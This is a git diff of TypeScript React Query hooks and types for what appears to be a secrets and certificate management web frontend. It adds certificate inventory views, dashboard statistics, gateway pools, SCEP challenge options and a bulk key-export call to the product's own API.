+    mutationFn: async ({
+      projectId,
+      name,
+      filters,
+      columns,
+      isShared
+    }: TCreateInventoryViewDTO) => {
+      const { data } = await apiRequest.post<{ view: TCertificateInventoryView }>(
+        `/api/v1/projects/${projectId}/certificate-inventory-views`,
+        { name, filters, columns, isShared }
+      );
+      return data.view;
+    },
+    onSuccess: (_, { projectId }) => {
+      queryClient.invalidateQueries({ queryKey: certificateInventoryViewKeys.list(projectId) });
+    }
+  });
+};
+
+export const useUpdateCertificateInventoryView = () => {
+  const queryClient = useQueryClient();
+
+  return useMutation({
+    mutationFn: async ({
+      projectId,
+      viewId,
+      name,
+      filters,
+      columns,
+      isShared
+    }: TUpdateInventoryViewDTO) => {
+      const { data } = await apiRequest.patch<{ view: TCertificateInventoryView }>(
+        `/api/v1/projects/${projectId}/certificate-inventory-views/${viewId}`,
+        { name, filters, columns, isShared }
+      );
+      return data.view;
+    },
+    onSuccess: (_, { projectId }) => {
+      queryClient.invalidateQueries({ queryKey: certificateInventoryViewKeys.list(projectId) });
+    }
+  });
+};
+
+export const useDeleteCertificateInventoryView = () => {
+  const queryClient = useQueryClient();
+
+  return useMutation({
+    mutationFn: async ({ projectId, viewId }: TDeleteInventoryViewDTO) => {
+      const { data } = await apiRequest.delete<{ view: TCertificateInventoryView }>(
+        `/api/v1/projects/${projectId}/certificate-inventory-views/${viewId}`
+      );
+      return data.view;
+    },
+    onSuccess: (_, { projectId }) => {
+      queryClient.invalidateQueries({ queryKey: certificateInventoryViewKeys.list(projectId) });
+    }
+  });
+};
diff --git a/frontend/src/hooks/api/certificateInventoryViews/queries.tsx b/frontend/src/hooks/api/certificateInventoryViews/queries.tsx
new file mode 100644
index 00000000000..4ef515b0749
--- /dev/null
+++ b/frontend/src/hooks/api/certificateInventoryViews/queries.tsx
@@ -0,0 +1,23 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { TListInventoryViewsResponse } from "./types";
+
+export const certificateInventoryViewKeys = {
+  all: ["certificateInventoryViews"] as const,
+  list: (projectId: string) => [...certificateInventoryViewKeys.all, { projectId }] as const
+};
+
+export const useListCertificateInventoryViews = (projectId: string) => {
+  return useQuery({
+    queryKey: certificateInventoryViewKeys.list(projectId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TListInventoryViewsResponse>(
+        `/api/v1/projects/${projectId}/certificate-inventory-views`
+      );
+      return data;
+    },
+    enabled: Boolean(projectId)
+  });
+};
diff --git a/frontend/src/hooks/api/certificateInventoryViews/types.ts b/frontend/src/hooks/api/certificateInventoryViews/types.ts
new file mode 100644
index 00000000000..9efb9c8aad4
--- /dev/null
+++ b/frontend/src/hooks/api/certificateInventoryViews/types.ts
@@ -0,0 +1,67 @@
+export type TInventoryViewFilters = {
+  status?: string;
+  notAfterTo?: string | Date;
+  notAfterFrom?: string | Date;
+  notBeforeTo?: string | Date;
+  notBeforeFrom?: string | Date;
+  enrollmentTypes?: string[];
+  keyAlgorithm?: string | string[];
+  keySizes?: number[];
+  caIds?: string[];
+  profileIds?: string[];
+  source?: string | string[];
+};
+
+export type TCertificateInventoryView = {
+  id: string;
+  projectId: string;
+  name: string;
+  filters: TInventoryViewFilters;
+  columns: string[] | null;
+  createdByUserId: string | null;
+  isShared: boolean;
+  createdAt: string;
+  updatedAt: string;
+};
+
+export type TSystemViewFilters = {
+  status?: string[];
+  notAfterTo?: string;
+};
+
+export type TSystemView = {
+  id: string;
+  name: string;
+  filters: TSystemViewFilters;
+  columns: null;
+  isSystem: true;
+  createdByUserId: null;
+};
+
+export type TListInventoryViewsResponse = {
+  systemViews: TSystemView[];
+  sharedViews: (TCertificateInventoryView & { isSystem: false; isShared: true })[];
+  customViews: (TCertificateInventoryView & { isSystem: false; isShared: false })[];
+};
+
+export type TCreateInventoryViewDTO = {
+  projectId: string;
+  name: string;
+  filters: TInventoryViewFilters;
+  columns?: string[];
+  isShared?: boolean;
+};
+
+export type TUpdateInventoryViewDTO = {
+  projectId: string;
+  viewId: string;
+  name?: string;
+  filters?: TInventoryViewFilters;
+  columns?: string[];
+  isShared?: boolean;
+};
+
+export type TDeleteInventoryViewDTO = {
+  projectId: string;
+  viewId: string;
+};
diff --git a/frontend/src/hooks/api/certificateProfiles/types.ts b/frontend/src/hooks/api/certificateProfiles/types.ts
index 76c432a91e8..6443f997833 100644
--- a/frontend/src/hooks/api/certificateProfiles/types.ts
+++ b/frontend/src/hooks/api/certificateProfiles/types.ts
@@ -10,6 +10,11 @@ export enum IssuerType {
   SELF_SIGNED = "self-signed"
 }
 
+export enum ScepChallengeType {
+  STATIC = "static",
+  DYNAMIC = "dynamic"
+}
+
 export type TCertificateProfileDefaults = {
   ttlDays?: number;
   commonName?: string;
@@ -89,6 +94,10 @@ export type TCertificateProfileWithDetails = TCertificateProfile & {
     raCertExpiresAt: string;
     includeCaCertInResponse: boolean;
     allowCertBasedRenewal: boolean;
+    challengeType: ScepChallengeType;
+    challengeEndpointUrl?: string;
+    dynamicChallengeExpiryMinutes?: number;
+    dynamicChallengeMaxPending?: number;
   };
 };
 
@@ -114,9 +123,12 @@ export type TCreateCertificateProfileDTO = {
     skipEabBinding?: boolean;
   };
   scepConfig?: {
-    challengePassword: string;
+    challengeType?: ScepChallengeType;
+    challengePassword?: string;
     includeCaCertInResponse?: boolean;
     allowCertBasedRenewal?: boolean;
+    dynamicChallengeExpiryMinutes?: number;
+    dynamicChallengeMaxPending?: number;
   };
   externalConfigs?: Record<string, unknown> | null;
   defaults?: TCertificateProfileDefaults | null;
@@ -142,9 +154,12 @@ export type TUpdateCertificateProfileDTO = {
     skipEabBinding?: boolean;
   };
   scepConfig?: {
+    challengeType?: ScepChallengeType;
     challengePassword?: string;
     includeCaCertInResponse?: boolean;
     allowCertBasedRenewal?: boolean;
+    dynamicChallengeExpiryMinutes?: number;
+    dynamicChallengeMaxPending?: number;
   };
   externalConfigs?: Record<string, unknown> | null;
   defaults?: TCertificateProfileDefaults | null;
diff --git a/frontend/src/hooks/api/certificates/constants.tsx b/frontend/src/hooks/api/certificates/constants.tsx
index 049e5d900dd..325f455d3bd 100644
--- a/frontend/src/hooks/api/certificates/constants.tsx
+++ b/frontend/src/hooks/api/certificates/constants.tsx
@@ -28,6 +28,7 @@ export const certKeyAlgorithmToNameMap: { [K in CertKeyAlgorithm]: string } = {
   [CertKeyAlgorithm.RSA_4096]: "RSA 4096",
   [CertKeyAlgorithm.ECDSA_P256]: "ECDSA P256",
   [CertKeyAlgorithm.ECDSA_P384]: "ECDSA P384",
+  [CertKeyAlgorithm.ECDSA_P521]: "ECDSA P521",
   [CertKeyAlgorithm.ML_DSA_44]: "ML-DSA-44",
   [CertKeyAlgorithm.ML_DSA_65]: "ML-DSA-65",
   [CertKeyAlgorithm.ML_DSA_87]: "ML-DSA-87"
@@ -45,6 +46,24 @@ export const certSignatureAlgorithmToNameMap: Record<string, string> = {
   "ML-DSA-87": "ML-DSA-87"
 };
 
+export const PQC_KEY_ALGORITHMS = [
+  CertKeyAlgorithm.ML_DSA_44,
+  CertKeyAlgorithm.ML_DSA_65,
+  CertKeyAlgorithm.ML_DSA_87
+] as const;
+
+export const NON_PQC_KEY_ALGORITHMS = [
+  CertKeyAlgorithm.RSA_2048,
+  CertKeyAlgorithm.RSA_3072,
+  CertKeyAlgorithm.RSA_4096,
+  CertKeyAlgorithm.ECDSA_P256,
+  CertKeyAlgorithm.ECDSA_P384,
+  CertKeyAlgorithm.ECDSA_P521
+] as const;
+
+export const isPqcAlgorithm = (label: string): boolean =>
+  (PQC_KEY_ALGORITHMS as readonly string[]).includes(label);
+
 export const certKeyAlgorithms = [
   { label: certKeyAlgorithmToNameMap[CertKeyAlgorithm.RSA_2048], value: CertKeyAlgorithm.RSA_2048 },
   { label: certKeyAlgorithmToNameMap[CertKeyAlgorithm.RSA_3072], value: CertKeyAlgorithm.RSA_3072 },
diff --git a/frontend/src/hooks/api/certificates/enums.tsx b/frontend/src/hooks/api/certificates/enums.tsx
index d71cafb5fbc..c9711b2dfb5 100644
--- a/frontend/src/hooks/api/certificates/enums.tsx
+++ b/frontend/src/hooks/api/certificates/enums.tsx
@@ -9,6 +9,7 @@ export enum CertKeyAlgorithm {
   RSA_4096 = "RSA_4096",
   ECDSA_P256 = "EC_prime256v1",
   ECDSA_P384 = "EC_secp384r1",
+  ECDSA_P521 = "EC_secp521r1",
   ML_DSA_44 = "ML-DSA-44",
   ML_DSA_65 = "ML-DSA-65",
   ML_DSA_87 = "ML-DSA-87"
@@ -57,6 +58,7 @@ export enum CertSource {
 export enum CertificateRequestStatus {
   PENDING_APPROVAL = "pending_approval",
   PENDING = "pending",
+  PENDING_VALIDATION = "pending_validation",
   ISSUED = "issued",
   FAILED = "failed",
   REJECTED = "rejected"
diff --git a/frontend/src/hooks/api/certificates/index.tsx b/frontend/src/hooks/api/certificates/index.tsx
index a08eae84f34..5b7837a5f4f 100644
--- a/frontend/src/hooks/api/certificates/index.tsx
+++ b/frontend/src/hooks/api/certificates/index.tsx
@@ -6,23 +6,34 @@ export {
   useImportCertificate,
   useRenewCertificate,
   useRevokeCert,
+  useTriggerCertificateRequestValidation,
   useUpdateCertificate,
   useUpdateRenewalConfig
 } from "./mutations";
 export {
   useGetCert,
+  useGetCertActivityTrend,
   useGetCertBody,
   useGetCertBundle,
+  useGetCertDashboardStats,
   useGetCertificateById,
   useGetCertificateRequest,
+  useGetCertPqcTrend,
   useListCertificateRequests
 } from "./queries";
 export type {
+  TActivityTrendPoint,
+  TActivityTrendResponse,
   TCertificate,
   TCertificateByIdResponse,
   TCertificateRequestDetails,
   TCertificateRequestListItem,
+  TDashboardDistribution,
+  TDashboardStats,
+  TExpirationBucket,
   TListCertificateRequestsParams,
   TListCertificateRequestsResponse,
+  TPqcTrendPoint,
+  TPqcTrendResponse,
   TUpdateCertificateDTO
 } from "./types";
diff --git a/frontend/src/hooks/api/certificates/mutations.tsx b/frontend/src/hooks/api/certificates/mutations.tsx
index f70d6138c96..2438b8331a2 100644
--- a/frontend/src/hooks/api/certificates/mutations.tsx
+++ b/frontend/src/hooks/api/certificates/mutations.tsx
@@ -14,6 +14,7 @@ import {
   TRenewCertificateDTO,
   TRenewCertificateResponse,
   TRevokeCertDTO,
+  TTriggerCertificateRequestValidationResponse,
   TUnifiedCertificateIssuanceDTO,
   TUnifiedCertificateIssuanceResponse,
   TUpdateCertificateDTO,
@@ -47,6 +48,9 @@ export const useDeleteCert = () => {
       queryClient.invalidateQueries({
         queryKey: projectKeys.forProjectCertificates(projectId)
       });
+      queryClient.invalidateQueries({
+        queryKey: certKeys.getDashboardStats(projectId)
+      });
     }
   });
 };
@@ -81,6 +85,9 @@ export const useRevokeCert = () => {
       queryClient.invalidateQueries({
         queryKey: projectKeys.forProjectCertificates(projectId)
       });
+      queryClient.invalidateQueries({
+        queryKey: certKeys.getDashboardStats(projectId)
+      });
     }
   });
 };
@@ -99,6 +106,9 @@ export const useImportCertificate = () => {
       queryClient.invalidateQueries({
         queryKey: projectKeys.forProjectCertificates(projectSlug)
       });
+      queryClient.invalidateQueries({
+        queryKey: ["cert-dashboard-stats"]
+      });
     }
   });
 };
@@ -130,6 +140,9 @@ export const useRenewCertificate = () => {
         queryClient.invalidateQueries({
           queryKey: projectKeys.forProjectCertificates(data.projectId)
         });
+        queryClient.invalidateQueries({
+          queryKey: certKeys.getDashboardStats(data.projectId)
+        });
       }
     }
   });
@@ -256,6 +269,24 @@ export const useUnifiedCertificateIssuance = () => {
       queryClient.invalidateQueries({
         queryKey: ["certificateRequests", "list", projectSlug]
       });
+      queryClient.invalidateQueries({
+        queryKey: ["cert-dashboard-stats"]
+      });
+    }
+  });
+};
+
+export const useTriggerCertificateRequestValidation = () => {
+  const queryClient = useQueryClient();
+  return useMutation<TTriggerCertificateRequestValidationResponse, object, { requestId: string }>({
+    mutationFn: async ({ requestId }) => {
+      const { data } = await apiRequest.post<TTriggerCertificateRequestValidationResponse>(
+        `/api/v1/cert-manager/certificates/certificate-requests/${requestId}/trigger-validation`
+      );
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ["certificateRequests", "list"] });
     }
   });
 };
diff --git a/frontend/src/hooks/api/certificates/queries.tsx b/frontend/src/hooks/api/certificates/queries.tsx
index ebf34ee8527..be6e2213ec1 100644
--- a/frontend/src/hooks/api/certificates/queries.tsx
+++ b/frontend/src/hooks/api/certificates/queries.tsx
@@ -3,11 +3,14 @@ import { useQuery } from "@tanstack/react-query";
 import { apiRequest } from "@app/config/request";
 
 import {
+  TActivityTrendResponse,
   TCertificate,
   TCertificateByIdResponse,
   TCertificateRequestDetails,
+  TDashboardStats,
   TListCertificateRequestsParams,
-  TListCertificateRequestsResponse
+  TListCertificateRequestsResponse,
+  TPqcTrendResponse
 } from "./types";
 
 export const certKeys = {
@@ -33,7 +36,12 @@ export const certKeys = {
     params.sortBy,
     params.sortOrder,
     params.metadataFilter
-  ]
+  ],
+  getDashboardStats: (projectId: string) => ["cert-dashboard-stats", { projectId }] as const,
+  getActivityTrend: (projectId: string, range: string) =>
+    ["cert-activity-trend", { projectId }, { range }] as const,
+  getPqcTrend: (projectId: string, range: string) =>
+    ["cert-pqc-trend", { projectId }, { range }] as const
 };
 
 export const useGetCert = (serialNumber: string) => {
@@ -139,3 +147,49 @@ export const useGetCertificateRequest = (requestId: string, projectSlug: string)
     enabled: Boolean(requestId) && Boolean(projectSlug)
   });
 };
+
+const DASHBOARD_STALE_TIME = 5 * 60 * 1000; // 5 minutes
+
+export const useGetCertDashboardStats = (projectId: string) => {
+  return useQuery({
+    queryKey: certKeys.getDashboardStats(projectId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TDashboardStats>(
+        `/api/v1/projects/${projectId}/certificates/dashboard-stats`
+      );
+      return data;
+    },
+    enabled: Boolean(projectId),
+    staleTime: DASHBOARD_STALE_TIME
+  });
+};
+
+export const useGetCertActivityTrend = (projectId: string, range = "6m") => {
+  return useQuery({
+    queryKey: certKeys.getActivityTrend(projectId, range),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TActivityTrendResponse>(
+        `/api/v1/projects/${projectId}/certificates/activity-trend`,
+        { params: { range } }
+      );
+      return data;
+    },
+    enabled: Boolean(projectId),
+    staleTime: DASHBOARD_STALE_TIME
+  });
+};
+
+export const useGetCertPqcTrend = (projectId: string, range = "30d") => {
+  return useQuery({
+    queryKey: certKeys.getPqcTrend(projectId, range),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TPqcTrendResponse>(
+        `/api/v1/projects/${projectId}/certificates/pqc-trend`,
+        { params: { range } }
+      );
+      return data;
+    },
+    enabled: Boolean(projectId),
+    staleTime: DASHBOARD_STALE_TIME
+  });
+};
diff --git a/frontend/src/hooks/api/certificates/types.ts b/frontend/src/hooks/api/certificates/types.ts
index 08801233597..a95413e7035 100644
--- a/frontend/src/hooks/api/certificates/types.ts
+++ b/frontend/src/hooks/api/certificates/types.ts
@@ -1,4 +1,10 @@
-import { CertExtendedKeyUsage, CertKeyUsage, CertSource, CertStatus } from "./enums";
+import {
+  CertExtendedKeyUsage,
+  CertificateRequestStatus,
+  CertKeyUsage,
+  CertSource,
+  CertStatus
+} from "./enums";
 
 export type TCertificateSubject = {
   commonName?: string;
@@ -47,6 +53,7 @@ export type TCertificate = {
   };
   caName?: string | null;
   profileName?: string | null;
+  enrollmentType?: string | null;
   caType?: "internal" | "external" | null;
   source?: TCertificateSource;
   discoveryMetadata?: {
@@ -203,7 +210,7 @@ export type TUpdateCertificateDTO = {
 
 export type TCertificateRequestListItem = {
   id: string;
-  status: "pending_approval" | "pending" | "issued" | "failed" | "rejected";
+  status: "pending_approval" | "pending" | "pending_validation" | "issued" | "failed" | "rejected";
   commonName: string | null;
   altNames: string | null;
   profileId: string | null;
@@ -239,3 +246,61 @@ export type TListCertificateRequestsParams = {
   sortOrder?: "asc" | "desc";
   metadataFilter?: Array<{ key: string; value?: string }>;
 };
+
+export type TDashboardDistribution = {
+  id?: string;
+  label: string;
+  count: number;
+};
+
+export type TExpirationBucket = {
+  bucket: string;
+  count: number;
+};
+
+export type TDashboardStats = {
+  totals: {
+    total: number;
+    active: number;
+    expiringSoon: number;
+    expired: number;
+    revoked: number;
+  };
+  expiringSoonNoAutoRenewal: number;
+  expiredNotRenewed: number;
+  distributions: {
+    byEnrollmentMethod: TDashboardDistribution[];
+    byAlgorithm: TDashboardDistribution[];
+    byCA: TDashboardDistribution[];
+    byStatus: TDashboardDistribution[];
+  };
+  expirationBuckets: TExpirationBucket[];
+  validityBuckets?: TExpirationBucket[];
+};
+
+export type TActivityTrendPoint = {
+  period: string;
+  issued: number;
+  expired: number;
+  revoked: number;
+  renewed: number;
+};
+
+export type TActivityTrendResponse = {
+  periods: TActivityTrendPoint[];
+};
+
+export type TPqcTrendPoint = {
+  period: string;
+  pqc: number;
+  nonPqc: number;
+};
+
+export type TPqcTrendResponse = {
+  periods: TPqcTrendPoint[];
+};
+
+export type TTriggerCertificateRequestValidationResponse = {
+  status: CertificateRequestStatus;
+  orderStatus?: string;
+};
diff --git a/frontend/src/hooks/api/cmeks/mutations.tsx b/frontend/src/hooks/api/cmeks/mutations.tsx
index a32409dffb2..f322ff9e11e 100644
--- a/frontend/src/hooks/api/cmeks/mutations.tsx
+++ b/frontend/src/hooks/api/cmeks/mutations.tsx
@@ -4,6 +4,8 @@ import { encodeBase64 } from "@app/components/utilities/cryptography/crypto";
 import { apiRequest } from "@app/config/request";
 import { cmekKeys } from "@app/hooks/api/cmeks/queries";
 import {
+  TCmekBulkExportPrivateKeysDTO,
+  TCmekBulkExportPrivateKeysResponse,
   TCmekDecrypt,
   TCmekDecryptResponse,
   TCmekEncrypt,
@@ -130,3 +132,16 @@ export const useCmekDecrypt = () => {
     }
   });
 };
+
+export const useBulkExportCmekPrivateKeys = () => {
+  return useMutation({
+    mutationFn: async ({ keyIds }: TCmekBulkExportPrivateKeysDTO) => {
+      const { data } = await apiRequest.post<TCmekBulkExportPrivateKeysResponse>(
+        "/api/v1/kms/keys/bulk-export-private-keys",
+        { keyIds }
+      );
+
+      return data;
+    }
+  });
+};
diff --git a/frontend/src/hooks/api/cmeks/types.ts b/frontend/src/hooks/api/cmeks/types.ts
index f88717bab06..35ff6a01402 100644
--- a/frontend/src/hooks/api/cmeks/types.ts
+++ b/frontend/src/hooks/api/cmeks/types.ts
@@ -92,6 +92,23 @@ export type TCmekGetPrivateKeyResponse = {
   privateKey: string;
 };
 
+export type TCmekBulkExportPrivateKeysDTO = {
+  keyIds: string[];
+};
+
+export type TCmekBulkExportedKey = {
+  keyId: string;
+  name: string;
+  keyUsage: KmsKeyUsage;
+  algorithm: AsymmetricKeyAlgorithm | SymmetricKeyAlgorithm;
+  privateKey: string;
+  publicKey?: string;
+};
+
+export type TCmekBulkExportPrivateKeysResponse = {
+  keys: TCmekBulkExportedKey[];
+};
+
 export enum CmekOrderBy {
   Name = "name"
 }
diff --git a/frontend/src/hooks/api/dynamicSecretLease/queries.ts b/frontend/src/hooks/api/dynamicSecretLease/queries.ts
index 095ece0f73f..c7e64dbd369 100644
--- a/frontend/src/hooks/api/dynamicSecretLease/queries.ts
+++ b/frontend/src/hooks/api/dynamicSecretLease/queries.ts
@@ -24,6 +24,8 @@ export const useGetDynamicSecretLeases = ({
       dynamicSecretName
     }),
     enabled: Boolean(projectSlug && environmentSlug && path && dynamicSecretName && enabled),
+    staleTime: 0,
+    gcTime: 0,
     queryFn: async () => {
       const { data } = await apiRequest.get<{ leases: TDynamicSecretLease[] }>(
         `/api/v1/dynamic-secrets/${dynamicSecretName}/leases`,
diff --git a/frontend/src/hooks/api/gateway-pools/index.tsx b/frontend/src/hooks/api/gateway-pools/index.tsx
new file mode 100644
index 00000000000..43063fa0ee1
--- /dev/null
+++ b/frontend/src/hooks/api/gateway-pools/index.tsx
@@ -0,0 +1,19 @@
+export {
+  useAddGatewayToPool,
+  useCreateGatewayPool,
+  useDeleteGatewayPool,
+  useRemoveGatewayFromPool,
+  useUpdateGatewayPool
+} from "./mutations";
+export {
+  gatewayPoolsQueryKeys,
+  useGetGatewayPool,
+  useGetGatewayPoolConnectedResources,
+  useListGatewayPools
+} from "./queries";
+export type {
+  TGatewayPool,
+  TGatewayPoolConnectedResources,
+  TGatewayPoolMember,
+  TGatewayPoolWithMembers
+} from "./types";
diff --git a/frontend/src/hooks/api/gateway-pools/mutations.tsx b/frontend/src/hooks/api/gateway-pools/mutations.tsx
new file mode 100644
index 00000000000..a8bca6c2a60
--- /dev/null
+++ b/frontend/src/hooks/api/gateway-pools/mutations.tsx
@@ -0,0 +1,86 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { gatewaysQueryKeys } from "../gateways/queries";
+import { gatewayPoolsQueryKeys } from "./queries";
+import {
+  TAddGatewayToPoolDTO,
+  TCreateGatewayPoolDTO,
+  TGatewayPool,
+  TGatewayPoolMembership,
+  TRemoveGatewayFromPoolDTO,
+  TUpdateGatewayPoolDTO
+} from "./types";
+
+export const useCreateGatewayPool = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async (dto: TCreateGatewayPoolDTO) => {
+      const { data } = await apiRequest.post<TGatewayPool>("/api/v1/gateway-pools", dto);
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsQueryKeys.allKey() });
+    }
+  });
+};
+
+export const useUpdateGatewayPool = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ poolId, ...dto }: TUpdateGatewayPoolDTO) => {
+      const { data } = await apiRequest.patch<TGatewayPool>(`/api/v1/gateway-pools/${poolId}`, dto);
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsQueryKeys.allKey() });
+    }
+  });
+};
+
+export const useDeleteGatewayPool = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async (poolId: string) => {
+      const { data } = await apiRequest.delete<TGatewayPool>(`/api/v1/gateway-pools/${poolId}`);
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsQueryKeys.allKey() });
+    }
+  });
+};
+
+export const useAddGatewayToPool = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ poolId, gatewayId }: TAddGatewayToPoolDTO) => {
+      const { data } = await apiRequest.post<TGatewayPoolMembership>(
+        `/api/v1/gateway-pools/${poolId}/memberships`,
+        { gatewayId }
+      );
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsQueryKeys.allKey() });
+      queryClient.invalidateQueries({ queryKey: gatewaysQueryKeys.allKey() });
+    }
+  });
+};
+
+export const useRemoveGatewayFromPool = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ poolId, gatewayId }: TRemoveGatewayFromPoolDTO) => {
+      const { data } = await apiRequest.delete<TGatewayPoolMembership>(
+        `/api/v1/gateway-pools/${poolId}/memberships/${gatewayId}`
+      );
+      return data;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: gatewayPoolsQueryKeys.allKey() });
+      queryClient.invalidateQueries({ queryKey: gatewaysQueryKeys.allKey() });
+    }
+  });
+};
diff --git a/frontend/src/hooks/api/gateway-pools/queries.tsx b/frontend/src/hooks/api/gateway-pools/queries.tsx
new file mode 100644
index 00000000000..38d6c331d81
--- /dev/null
+++ b/frontend/src/hooks/api/gateway-pools/queries.tsx
@@ -0,0 +1,52 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { TGatewayPool, TGatewayPoolConnectedResources, TGatewayPoolWithMembers } from "./types";
+
+export const gatewayPoolsQueryKeys = {
+  allKey: () => ["gateway-pools"],
+  listKey: () => [...gatewayPoolsQueryKeys.allKey(), "list"],
+  list: () => ({
+    queryKey: gatewayPoolsQueryKeys.listKey(),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGatewayPool[]>("/api/v1/gateway-pools");
+      return data;
+    }
+  }),
+  detailKey: (poolId: string) => [...gatewayPoolsQueryKeys.allKey(), "detail", poolId],
+  detail: (poolId: string) => ({
+    queryKey: gatewayPoolsQueryKeys.detailKey(poolId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGatewayPoolWithMembers>(
+        `/api/v1/gateway-pools/${poolId}`
+      );
+      return data;
+    },
+    enabled: Boolean(poolId)
+  })
+};
+
+export const useListGatewayPools = (options?: { refetchInterval?: number }) => {
+  return useQuery({
+    ...gatewayPoolsQueryKeys.list(),
+    refetchInterval: options?.refetchInterval
+  });
+};
+
+export const useGetGatewayPool = (poolId: string) => {
+  return useQuery(gatewayPoolsQueryKeys.detail(poolId));
+};
+
+export const useGetGatewayPoolConnectedResources = (poolId: string) => {
+  return useQuery({
+    queryKey: [...gatewayPoolsQueryKeys.allKey(), "connected-resources", poolId],
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGatewayPoolConnectedResources>(
+        `/api/v1/gateway-pools/${poolId}/resources`
+      );
+      return data;
+    },
+    enabled: Boolean(poolId)
+  });
+};
diff --git a/frontend/src/hooks/api/gateway-pools/types.ts b/frontend/src/hooks/api/gateway-pools/types.ts
new file mode 100644
index 00000000000..1a6675e9aae
--- /dev/null
+++ b/frontend/src/hooks/api/gateway-pools/types.ts
@@ -0,0 +1,61 @@
+export type TGatewayPool = {
+  id: string;
+  orgId: string;
+  name: string;
+  createdAt: string;
+  updatedAt: string;
+  memberCount: number;
+  healthyMemberCount: number;
+  memberGatewayIds: string[];
+  connectedResourcesCount: number;
+};
+
+export type TGatewayPoolConnectedResources = {
+  kubernetesAuths: {
+    id: string;
+    identityId: string;
+    identityName: string | null;
+  }[];
+};
+
+export type TGatewayPoolMember = {
+  id: string;
+  name: string;
+  heartbeat: string | null;
+  lastHealthCheckStatus: string | null;
+};
+
+export type TGatewayPoolWithMembers = {
+  id: string;
+  orgId: string;
+  name: string;
+  createdAt: string;
+  updatedAt: string;
+  gateways: TGatewayPoolMember[];
+};
+
+export type TGatewayPoolMembership = {
+  id: string;
+  gatewayPoolId: string;
+  gatewayId: string;
+  createdAt: string;
+};
+
+export type TCreateGatewayPoolDTO = {
+  name: string;
+};
+
+export type TUpdateGatewayPoolDTO = {
+  poolId: string;
+  name?: string;
+};
+
+export type TAddGatewayToPoolDTO = {
+  poolId: string;
+  gatewayId: string;
+};
+
+export type TRemoveGatewayFromPoolDTO = {
+  poolId: string;
+  gatewayId: string;
+};
diff --git a/frontend/src/hooks/api/gateways-v2/mutations.tsx b/frontend/src/hooks/api/gateways-v2/mutations.tsx
index 574f15c7377..eeffc4f66e7 100644
--- a/frontend/src/hooks/api/gateways-v2/mutations.tsx
+++ b/frontend/src/hooks/api/gateways-v2/mutations.tsx
@@ -3,6 +3,12 @@ import { useMutation, useQueryClient } from "@tanstack/react-query";
 import { apiRequest } from "@app/config/request";
 
 import { gatewaysQueryKeys } from "../gateways/queries";
+import { TGatewayV2 } from "./types";
+
+const invalidateGatewayQueries = (queryClient: ReturnType<typeof useQueryClient>) => {
+  queryClient.invalidateQueries(gatewaysQueryKeys.list());
+  queryClient.invalidateQueries(gatewaysQueryKeys.listWithTokens());
+};
 
 export const useDeleteGatewayV2ById = () => {
   const queryClient = useQueryClient();
@@ -11,7 +17,7 @@ export const useDeleteGatewayV2ById = () => {
       return apiRequest.delete(`/api/v2/gateways/${id}`);
     },
     onSuccess: () => {
-      queryClient.invalidateQueries(gatewaysQueryKeys.list());
+      invalidateGatewayQueries(queryClient);
     }
   });
 };
@@ -23,7 +29,35 @@ export const useTriggerGatewayV2Heartbeat = () => {
       return apiRequest.post(`/api/v2/gateways/${id}/heartbeat`);
     },
     onSettled: () => {
-      queryClient.invalidateQueries(gatewaysQueryKeys.list());
+      invalidateGatewayQueries(queryClient);
+    }
+  });
+};
+
+export const useCreateGateway = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ name }: { name: string }) => {
+      const { data } = await apiRequest.post<TGatewayV2>("/api/v3/gateways", { name });
+      return data;
+    },
+    onSuccess: () => {
+      invalidateGatewayQueries(queryClient);
+    }
+  });
+};
+
+export const useConfigureGatewayTokenAuth = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ gatewayId }: { gatewayId: string }) => {
+      const { data } = await apiRequest.post<{ token: string; expiresAt: string }>(
+        `/api/v3/gateways/${gatewayId}/token-auth/configure`
+      );
+      return data;
+    },
+    onSuccess: () => {
+      invalidateGatewayQueries(queryClient);
     }
   });
 };
diff --git a/frontend/src/hooks/api/gateways-v2/types.ts b/frontend/src/hooks/api/gateways-v2/types.ts
index 33d13345aaf..d2281fceeda 100644
--- a/frontend/src/hooks/api/gateways-v2/types.ts
+++ b/frontend/src/hooks/api/gateways-v2/types.ts
@@ -5,17 +5,31 @@ export enum GatewayHealthCheckStatus {
 
 export type TGatewayV2 = {
   id: string;
-  identityId: string;
+  identityId: string | null;
   name: string;
   createdAt: string;
   updatedAt: string;
-  heartbeat: string;
+  heartbeat: string | null;
   lastHealthCheckStatus: GatewayHealthCheckStatus | null;
   connectedResourcesCount: number;
   identity: {
     name: string;
     id: string;
-  };
+  } | null;
+  enrollmentTokenStatus: "pending" | "expired" | null;
+};
+
+export type TGatewayEnrollmentToken = {
+  id: string;
+  ttl: number;
+  expiresAt: string;
+  usedAt: string | null;
+  gatewayId: string | null;
+  createdAt: string;
+};
+
+export type TCreateGatewayEnrollmentTokenResponse = TGatewayEnrollmentToken & {
+  token: string;
 };
 
